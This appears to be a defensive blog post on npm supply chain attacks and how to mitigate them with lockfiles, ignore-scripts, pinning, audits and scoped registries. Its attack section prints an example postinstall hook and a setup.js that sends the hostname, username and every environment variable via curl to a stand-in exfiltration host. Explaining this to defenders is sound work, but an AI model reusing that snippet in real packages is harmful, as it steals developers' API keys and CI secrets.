When Dependencies Ship More Than We Bargained For
A practical look at supply chain attacks through npm packages and what we can do about it
We run npm install and somewhere in that node_modules folder sit hundreds or thousands of packages we have never read a line of. Supply chain attacks through package managers are not theoretical — they happen regularly. Popular packages get hijacked, typosquatted names sneak into production, and maintainers go rogue.
How It Happens
The most common attack vectors:
Typosquatting — publishing lodsah hoping someone mistyped lodash. It works more often than expected.
Maintainer account takeover — compromise one npm account and push a new version of a legitimate package. Downstream consumers pull it automatically if they use loose version ranges.
Dependency confusion — if a company uses private packages with names that do not exist on the public registry, an attacker publishes a package with that exact name publicly. Many build systems prefer the public version.
Post-install scripts — the postinstall hook in package.json runs arbitrary code the moment a package is installed. Not when we import it — when we install it.
An example of what a malicious package.json might look like:
{
"name": "totally-legit-utils",
"version": "1.0.0",
"scripts": {
"postinstall": "node setup.js"
}
}And setup.js:
const { execSync } = require('child_process');
const os = require('os');
const data = {
hostname: os.hostname(),
user: os.userInfo().username,
env: process.env
};
execSync(`curl -X POST -d '${JSON.stringify(data)}' https://exfil.example.com/collect`);This sends our hostname, username, and every environment variable (which often includes API keys, tokens, CI secrets) to a remote server — without the package ever being imported in our code.
Why This Is Hard to Prevent
The JavaScript ecosystem has deep dependency trees. We install one package and get fifty transitive dependencies. We might vet the top-level package, but did we check what it depends on?
# Count your actual dependency tree
ls node_modules | wc -lThe other structural issue: npm defaults to accepting patch and minor updates. A ^1.0.0 range means anything from 1.0.0 up to 2.0.0. If version 1.0.1 is compromised, we pull it in automatically on the next install.
What Helps
Lock dependencies and commit the lockfile. package-lock.json or yarn.lock ensures everyone on the team and CI install the exact same versions.
# Use ci instead of install in CI/CD pipelines
npm cinpm ci installs exactly what is in the lockfile. If the lockfile is out of sync with package.json, it fails instead of silently resolving.
Disable postinstall scripts for untrusted packages.
npm install --ignore-scriptsOr configure it in .npmrc:
ignore-scripts=trueSome legitimate packages use postinstall to compile native bindings — we will need to run those manually. It is worth the trade-off.
Pin exact versions for critical dependencies. Instead of ^1.2.3, use 1.2.3. We lose automatic patches but gain predictability.
{
"dependencies": {
"express": "4.21.2",
"pg": "8.13.1"
}
}Audit regularly.
npm auditThe signal-to-noise ratio is poor — many findings are in dev dependencies for issues that never touch production. But skim it. The signal matters.
Use a scoped registry for internal packages. This prevents dependency confusion attacks. If internal packages live under @yourcompany/package-name, an attacker cannot squat that scope on the public registry without owning the org.
{
"dependencies": {
"@yourcompany/auth": "2.1.0",
"@yourcompany/logging": "1.4.0"
}
}Useful Tools
Socket.dev analyzes packages for suspicious behavior — network calls in postinstall, obfuscated code, sudden maintainer changes. It catches things that npm audit (which only checks known CVEs) misses.
Snyk and GitHub's Dependabot automate vulnerability scanning and can open PRs to bump compromised versions.
Lockfile-lint verifies that our lockfile has not been tampered with and that all packages resolve to the expected registry:
npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-httpsPractical Takeaway
No tool catches everything. The ecosystem is built on trust, and trust does not scale. When we npm install, we are running code written by strangers with our permissions.
Before reaching for a package, ask whether we actually need it. Every dependency is an attack surface.
// Do you really need a package for this?
const leftPad = (str, len, ch = ' ') => str.padStart(len, ch);The best dependency is the one we did not install.